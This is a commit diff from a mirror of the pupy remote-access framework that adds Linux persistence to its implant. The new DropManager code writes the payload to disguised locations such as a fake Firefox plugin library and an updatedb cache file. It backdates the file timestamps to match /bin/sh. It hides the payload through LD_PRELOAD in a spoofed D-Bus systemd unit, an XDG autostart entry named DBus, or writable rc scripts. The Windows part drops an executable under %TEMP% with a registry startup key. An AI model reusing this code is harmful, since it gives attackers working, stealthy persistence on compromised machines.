mirror of https://github.com/n1nj4sec/pupy.git
Start to implement persistence for Linux
This commit is contained in:
parent
a1cfce2d08
commit
17728cedf6
|
@ -17,14 +17,17 @@ def has_proc_migrated(client, pid):
|
|||
return c
|
||||
return None
|
||||
|
||||
def get_payload(module):
|
||||
def get_payload(module, compressed=True):
|
||||
if module.client.is_proc_arch_64_bits():
|
||||
module.info('Generate pupyx64.so payload')
|
||||
dllbuf = pupygen.get_edit_pupyx64_so(module.client.get_conf())
|
||||
else:
|
||||
module.info('Generate pupyx64.so payload')
|
||||
module.info('Generate pupyx86.so payload')
|
||||
dllbuf = pupygen.get_edit_pupyx86_so(module.client.get_conf())
|
||||
|
||||
if not compressed:
|
||||
return dllbuf
|
||||
|
||||
dllgzbuf = cStringIO.StringIO()
|
||||
gzf = gzip.GzipFile('pupy.so', 'wb', 9, dllgzbuf)
|
||||
gzf.write(dllbuf)
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
# -*- coding: utf-8 -*-
|
||||
# --------------------------------------------------------------
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# All rights reserved.
|
||||
|
@ -15,22 +15,40 @@
|
|||
# --------------------------------------------------------------
|
||||
from pupylib.PupyModule import *
|
||||
from pupylib.PupyCompleter import *
|
||||
from modules.lib.linux.migrate import get_payload
|
||||
import random
|
||||
import pupygen
|
||||
import os.path
|
||||
import stat
|
||||
import string
|
||||
|
||||
__class_name__="PersistenceModule"
|
||||
|
||||
@config(cat="manage", compat="windows")
|
||||
@config(cat="manage", compat=['linux', 'windows'])
|
||||
class PersistenceModule(PupyModule):
|
||||
""" Enables persistence via registry keys """
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog="persistence", description=self.__doc__)
|
||||
self.arg_parser.add_argument('-e','--exe', help='Use an alternative file and set persistency', completer=path_completer)
|
||||
self.arg_parser.add_argument('-m','--method', choices=['registry'], required=True, help='persistence method')
|
||||
|
||||
def run(self, args):
|
||||
if self.client.is_windows():
|
||||
self.windows(args)
|
||||
else:
|
||||
self.linux(args)
|
||||
|
||||
def linux(self, args):
|
||||
self.client.load_package('persistence')
|
||||
manager = self.client.conn.modules['persistence'].DropManager()
|
||||
self.info('Available methods: {}'.format(manager.methods))
|
||||
payload = get_payload(self, compressed=False)
|
||||
drop_path, conf_path = manager.add_library(payload)
|
||||
if drop_path and conf_path:
|
||||
self.success('Dropped: {} Config: {}'.format(drop_path, conf_path))
|
||||
else:
|
||||
self.error('Couldn\'t make service persistent.')
|
||||
|
||||
def windows(self, args):
|
||||
exebuff=b""
|
||||
if args.exe:
|
||||
with open(args.exe,'rb') as f:
|
||||
|
@ -46,32 +64,26 @@ class PersistenceModule(PupyModule):
|
|||
exebuff=pupygen.get_edit_pupyx64_exe(self.client.get_conf())
|
||||
else:
|
||||
exebuff=pupygen.get_edit_pupyx86_exe(self.client.get_conf())
|
||||
if args.method=="registry":
|
||||
self.client.load_package("pupwinutils.persistence")
|
||||
|
||||
self.client.load_package("pupwinutils.persistence")
|
||||
remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))])))
|
||||
self.info("uploading to %s ..."%remote_path)
|
||||
#uploading
|
||||
rf=self.client.conn.builtin.open(remote_path, "wb")
|
||||
chunk_size=16000
|
||||
pos=0
|
||||
while True:
|
||||
buf=exebuff[pos:pos+chunk_size]
|
||||
if not buf:
|
||||
break
|
||||
rf.write(buf)
|
||||
pos+=chunk_size
|
||||
rf.close()
|
||||
self.success("upload successful")
|
||||
|
||||
#adding persistency
|
||||
self.info("adding to registry ...")
|
||||
self.client.conn.modules['pupwinutils.persistence'].add_registry_startup(remote_path)
|
||||
self.info("registry key added")
|
||||
|
||||
remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))])))
|
||||
self.info("uploading to %s ..."%remote_path)
|
||||
#uploading
|
||||
rf=self.client.conn.builtin.open(remote_path, "wb")
|
||||
chunk_size=16000
|
||||
pos=0
|
||||
while True:
|
||||
buf=exebuff[pos:pos+chunk_size]
|
||||
if not buf:
|
||||
break
|
||||
rf.write(buf)
|
||||
pos+=chunk_size
|
||||
rf.close()
|
||||
self.success("upload successful")
|
||||
|
||||
#adding persistency
|
||||
self.info("adding to registry ...")
|
||||
self.client.conn.modules['pupwinutils.persistence'].add_registry_startup(remote_path)
|
||||
self.info("registry key added")
|
||||
|
||||
self.success("persistence added !")
|
||||
else:
|
||||
self.error("method not implemented")
|
||||
|
||||
self.success("persistence added !")
|
||||
|
|
|
@ -1,36 +0,0 @@
|
|||
#!/usr/bin/env python
|
||||
import os
|
||||
|
||||
def add(path, launcher, launcher_args):
|
||||
if os.path.isfile("/etc/init.d/rc.local"):
|
||||
if path in open("/etc/init.d/rc.local").read():
|
||||
return
|
||||
else:
|
||||
with open("/etc/init.d/rc.local", "a") as local:
|
||||
local.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &')
|
||||
os.utime("/etc/init.d/rc.local",(1330712292,1330712292))
|
||||
elif os.path.isfile("/etc/rc"):
|
||||
if path in open("/etc/rc").read():
|
||||
return
|
||||
else:
|
||||
os.system("head -n-1 /etc/rc > /etc/rc2 && rm -f /etc/rc && mv /etc/rc2 /etc/rc")
|
||||
with open("/etc/rc", "a") as rc:
|
||||
rc.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &'+'\n')
|
||||
rc.write("exit 0")
|
||||
os.utime("/etc/rc",(1330712292,1330712292))
|
||||
elif os.path.isfile("/etc/rc.d/rc.local"):
|
||||
if path in open("/etc/rc.d/rc.local").read():
|
||||
return
|
||||
else:
|
||||
with open("/etc/rc.d/rc.local", "a") as rc2:
|
||||
rc2.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &')
|
||||
os.system("chmod +x /etc/rc.d/rc.local")
|
||||
os.utime("/etc/rc.d/rc.local",(1330712292,1330712292))
|
||||
elif os.path.isfile("/etc/init.d/dbus"):
|
||||
if path in open("/etc/init.d/dbus").read():
|
||||
return
|
||||
else:
|
||||
with open("/etc/init.d/dbus", "a") as dbus:
|
||||
cron.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &'+'\n')
|
||||
os.utime("/etc/init.d/dbus",(1330712292,1330712292))
|
||||
|
|
@ -0,0 +1,351 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
import random
|
||||
import stat
|
||||
|
||||
class DropManager(object):
|
||||
def __init__(self):
|
||||
self._is_systemd = False
|
||||
self._systemd_error = None
|
||||
self._is_xdg = False
|
||||
self._xdg_error = None
|
||||
self._uid = os.getuid()
|
||||
self._user = self._uid != 0
|
||||
self._home = os.path.expanduser('~')
|
||||
self._devnull = open(os.devnull, 'r')
|
||||
self._rc = []
|
||||
self._rc_error = None
|
||||
|
||||
self._check_xdg()
|
||||
self._check_rc()
|
||||
self._check_systemd()
|
||||
|
||||
def _find_executable(self, name):
|
||||
for path in [
|
||||
'/bin',
|
||||
'/sbin',
|
||||
'/usr/bin',
|
||||
'/usr/sbin',
|
||||
'/usr/local/bin',
|
||||
'/usr/local/sbin',
|
||||
'/usr/libexec',
|
||||
'/usr/lib',
|
||||
'/usr'
|
||||
]:
|
||||
for root, dirs, files in os.walk(path):
|
||||
for file in files:
|
||||
if file == name:
|
||||
return os.path.join(root, file)
|
||||
|
||||
|
||||
def _check_xdg(self):
|
||||
try:
|
||||
self._is_xdg = ( subprocess.check_call(
|
||||
['xdg-open', '--version'],
|
||||
stdout=self._devnull,
|
||||
stderr=self._devnull
|
||||
) == 0 )
|
||||
|
||||
self._is_xdg = True
|
||||
except CalledProcessError as e:
|
||||
self._is_xdg = False
|
||||
self._xdg_error = str(e)
|
||||
|
||||
def _check_systemd_reval(self, args):
|
||||
penv = {
|
||||
'stdout': self._devnull,
|
||||
'stderr': self._devnull,
|
||||
}
|
||||
|
||||
if not os.getenv('DBUS_SESSION_BUS_ADDRESS') and self._user:
|
||||
penv.update({
|
||||
'env': {
|
||||
'DBUS_SESSION_BUS_ADDRESS':
|
||||
'unix:path=/var/run/user/{}/dbus/user_bus_socket'.format(self._uid)
|
||||
},
|
||||
})
|
||||
|
||||
try:
|
||||
cmd = ['systemctl']
|
||||
if self._user:
|
||||
cmd.append('--user')
|
||||
|
||||
cmd = cmd + args
|
||||
|
||||
return ( subprocess.check_call(cmd, **penv) == 0 )
|
||||
|
||||
except subprocess.CalledProcessError:
|
||||
return None
|
||||
|
||||
def _check_systemd(self):
|
||||
if self._user:
|
||||
systemd_socket = '/run/user/{}/systemd/private'.format(self._uid)
|
||||
else:
|
||||
systemd_socket = '/run/systemd/private'
|
||||
|
||||
try:
|
||||
if not os.path.exists(systemd_socket) and stat.S_ISSOCK(os.stat(systemd_socket).st_mode):
|
||||
self._systemd_error = 'No systemd socket found'
|
||||
return
|
||||
except OSError as e:
|
||||
self._systemd_error = str(e)
|
||||
return
|
||||
|
||||
self._is_systemd = self._check_systemd_reval([])
|
||||
if not self._is_systemd:
|
||||
self._systemd_error = 'Systemd is not available or not working properly'
|
||||
|
||||
def _check_systemd_unit(self, unit):
|
||||
return self._check_systemd_reval(['is-enabled', unit])
|
||||
|
||||
def _check_rc(self):
|
||||
self._rc = [
|
||||
rc for rc in [
|
||||
'/etc/init.d/rc.local',
|
||||
'/etc/rc',
|
||||
'/etc/rc.local',
|
||||
'/etc/init.d/dbus'
|
||||
] if os.access(rc, os.W_OK)
|
||||
]
|
||||
if len(self._rc) == 0:
|
||||
self._rc_error = 'No writable known RC scripts found'
|
||||
|
||||
@property
|
||||
def methods(self):
|
||||
return {
|
||||
'xdg': self._is_xdg or self._xdg_error,
|
||||
'systemd': self._is_systemd or self._systemd_error,
|
||||
'rc': len(self._rc) > 0 or self._rc_error,
|
||||
'user': self._user
|
||||
}
|
||||
|
||||
def _find_systemd_system_path(self):
|
||||
for d in [ '/lib/systemd/system', '/usr/lib/systemd/system', '/etc/systemd/system' ]:
|
||||
if os.path.exists(d):
|
||||
return os.path.dirname(d)
|
||||
|
||||
def _get_systemd_unit_path(self, system=True):
|
||||
if self._user:
|
||||
path = os.path.join(self._home, '.config/systemd/user')
|
||||
else:
|
||||
path = os.path.join(self._find_systemd_system_path(), 'system' if system else 'user')
|
||||
|
||||
return path
|
||||
|
||||
def _add_systemd_add_to_unit(self, unit, key, value, section='Service', system=True, confname='distlocal.conf'):
|
||||
|
||||
confname = confname or ''.join([
|
||||
chr(random.randint(ord('a'), ord('z'))) for _ in xrange(random.randint(5, 10))
|
||||
]) + '.conf'
|
||||
|
||||
unit = os.path.join(self._get_systemd_unit_path(system), unit+'.d', confname)
|
||||
|
||||
if not os.path.isdir(os.path.dirname(unit)):
|
||||
os.makedirs(os.path.dirname(unit))
|
||||
|
||||
with open(unit, 'w') as funit:
|
||||
funit.write(
|
||||
'[{}]\n'
|
||||
'{}={}\n'.format(section, key, value)
|
||||
)
|
||||
|
||||
return unit
|
||||
|
||||
def _add_loadable_systemd_unit(self, unit, executable, description, service_type='forking'):
|
||||
confdir = self._get_systemd_unit_path()
|
||||
base_wants = os.path.join(confdir, 'default.target.wants')
|
||||
|
||||
base_wants_unit = os.path.join(base_wants, unit)
|
||||
|
||||
unit = os.path.join(confdir, unit)
|
||||
if not os.path.exists(confdir):
|
||||
os.makedirs(confdir)
|
||||
|
||||
if not os.path.exists(base_wants):
|
||||
os.makedirs(base_wants)
|
||||
|
||||
with open(unit, 'w') as funit:
|
||||
funit.write(
|
||||
'[Unit]\n'
|
||||
'Description={}\n\n'
|
||||
'[Service]\n'
|
||||
'Type={}\n'
|
||||
'ExecStart={}\n'.format(
|
||||
description,
|
||||
service_type,
|
||||
executable
|
||||
)
|
||||
)
|
||||
|
||||
if os.path.exists(base_wants_unit):
|
||||
os.unlink(base_wants_unit)
|
||||
|
||||
os.symlink(unit, base_wants_unit)
|
||||
|
||||
|
||||
def _drop_file(self, payload):
|
||||
rand = ''.join([
|
||||
chr(random.randint(ord('a'), ord('z'))) for _ in xrange(random.randint(5, 10))
|
||||
])
|
||||
|
||||
user_targets = [
|
||||
'%h/.local/lib/%r.so.1', '%h/.local/bin/%r',
|
||||
'%h/.cache/mozilla/firefox/libflushplugin.so',
|
||||
'%h/.mozilla/plugins/libflushplugin.so',
|
||||
]
|
||||
|
||||
system_targets = [
|
||||
'/lib/lib%r.so.1',
|
||||
'/usr/lib/lib%r.so.1',
|
||||
'/var/lib/.updatedb.cache.tmp.%r'
|
||||
]
|
||||
|
||||
targets = [
|
||||
target.replace(
|
||||
'%h', self._home
|
||||
).replace(
|
||||
'%r', rand
|
||||
) for target in ( user_targets if self._user else system_targets )
|
||||
]
|
||||
|
||||
shstat = os.stat('/bin/sh')
|
||||
|
||||
for target in targets:
|
||||
dropdir = os.path.dirname(target)
|
||||
if os.path.isdir(dropdir):
|
||||
try:
|
||||
with open(target, 'w') as droppie:
|
||||
droppie.write(payload)
|
||||
|
||||
os.utime(target, (shstat.st_atime, shstat.st_ctime))
|
||||
return target
|
||||
|
||||
except Exception as e:
|
||||
continue
|
||||
|
||||
for target in targets:
|
||||
dropdir = os.path.dirname(target)
|
||||
try:
|
||||
os.makedirs(dropdir)
|
||||
with open(target, 'w') as droppie:
|
||||
droppie.write(payload)
|
||||
|
||||
os.utime(target, (shstat.st_atime, shstat.st_ctime))
|
||||
return target
|
||||
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
def _is_path_in_file(self, filepath, path):
|
||||
if os.path.isfile(filepath):
|
||||
with open(filepath, 'r') as file:
|
||||
return 'path' in filepath
|
||||
return False
|
||||
|
||||
def _add_to_rc(self, path):
|
||||
for rc in self._rc:
|
||||
if self._is_path_in_file(rc, path):
|
||||
return
|
||||
|
||||
rcstat = os.stat(rc)
|
||||
|
||||
with open(rc, 'a') as rcfile:
|
||||
rcfile.write(path + '& 2>/dev/null 1>/dev/null')
|
||||
|
||||
os.utime(rc, (rcstat.st_atime, rcstat.st_ctime))
|
||||
return rc
|
||||
|
||||
def _add_to_xdg(self, path, confname='dbus'):
|
||||
confname = confname or ''.join([
|
||||
chr(random.randint(ord('a'), ord('z'))) for _ in xrange(random.randint(5, 10))
|
||||
])
|
||||
|
||||
if self._user:
|
||||
xdg = os.getenv('XDG_CONFIG_HOME') or os.path.join(
|
||||
self._home, '.config/autostart', confname+'.desktop')
|
||||
else:
|
||||
xdg = os.getenv('XDG_CONFIG_DIRS') or os.path.join(
|
||||
'/etc/xdg/autostart', confname+'.desktop')
|
||||
|
||||
if not os.path.exists(os.path.dirname(xdg)):
|
||||
os.makedirs(os.path.dirname(xdg))
|
||||
|
||||
with open(xdg, 'w') as fxdg:
|
||||
fxdg.write(
|
||||
'[Desktop Entry]\n'
|
||||
'Name=DBus\n'
|
||||
'GenericName=D-Bus messaging system\n'
|
||||
'Exec=/bin/sh -c "{}"\n'
|
||||
'Terminal=false\n'
|
||||
'Type=Application\n'
|
||||
'Categories=System\n'
|
||||
'StartupNotify=false\n'.format(path)
|
||||
)
|
||||
|
||||
return xdg
|
||||
|
||||
def add_library(self, payload, name=None, system=None):
|
||||
if not any([
|
||||
self._is_systemd, self._is_xdg, self._rc
|
||||
]):
|
||||
return None, None
|
||||
|
||||
dbus_daemon = self._find_executable('dbus-daemon')
|
||||
if not dbus_daemon:
|
||||
return None, None
|
||||
|
||||
path = self._drop_file(payload)
|
||||
if self._is_systemd:
|
||||
if not self._check_systemd_unit('dbus.service'):
|
||||
self._add_loadable_systemd_unit(
|
||||
'dbus.service',
|
||||
'{} --session'.format(dbus_daemon),
|
||||
'D-Bus session daemon',
|
||||
)
|
||||
|
||||
return path, self._add_systemd_add_to_unit(
|
||||
'dbus.service',
|
||||
'Environment',
|
||||
'LD_PRELOAD={}'.format(path),
|
||||
section='Service',
|
||||
confname=name
|
||||
)
|
||||
elif self._is_xdg:
|
||||
return path, self._add_to_xdg(
|
||||
'LD_PRELOAD={} HOOK_EXIT=1 {} --session --fork'.format(path, dbus_daemon)
|
||||
)
|
||||
elif self._rc:
|
||||
return path, self._add_to_rc(
|
||||
'LD_PRELOAD={} HOOK_EXIT=1 {} --session --fork'.format(path, dbus_daemon)
|
||||
)
|
||||
|
||||
def add_binary(self, payload, name=None, system=None):
|
||||
if not any([
|
||||
self._is_systemd, self._is_xdg, self._rc
|
||||
]):
|
||||
return None, None
|
||||
|
||||
path = self._drop_file(payload)
|
||||
if not path:
|
||||
return None, None
|
||||
|
||||
os.chmod(path, 0111)
|
||||
|
||||
if self._is_systemd:
|
||||
return path, self._add_systemd_add_to_unit(
|
||||
'dbus.service',
|
||||
'ExecStartPre',
|
||||
'-{}'.format(path),
|
||||
section='Service',
|
||||
confname=name
|
||||
)
|
||||
elif self._is_xdg:
|
||||
return path, self._add_to_xdg(
|
||||
'{} & 2>/dev/null 1>/dev/null'.format(path)
|
||||
)
|
||||
elif self._rc:
|
||||
return path, self._add_to_rc(
|
||||
'{} & 2>/dev/null 1>/dev/null'.format(path)
|
||||
)
|
Loading…
Reference in New Issue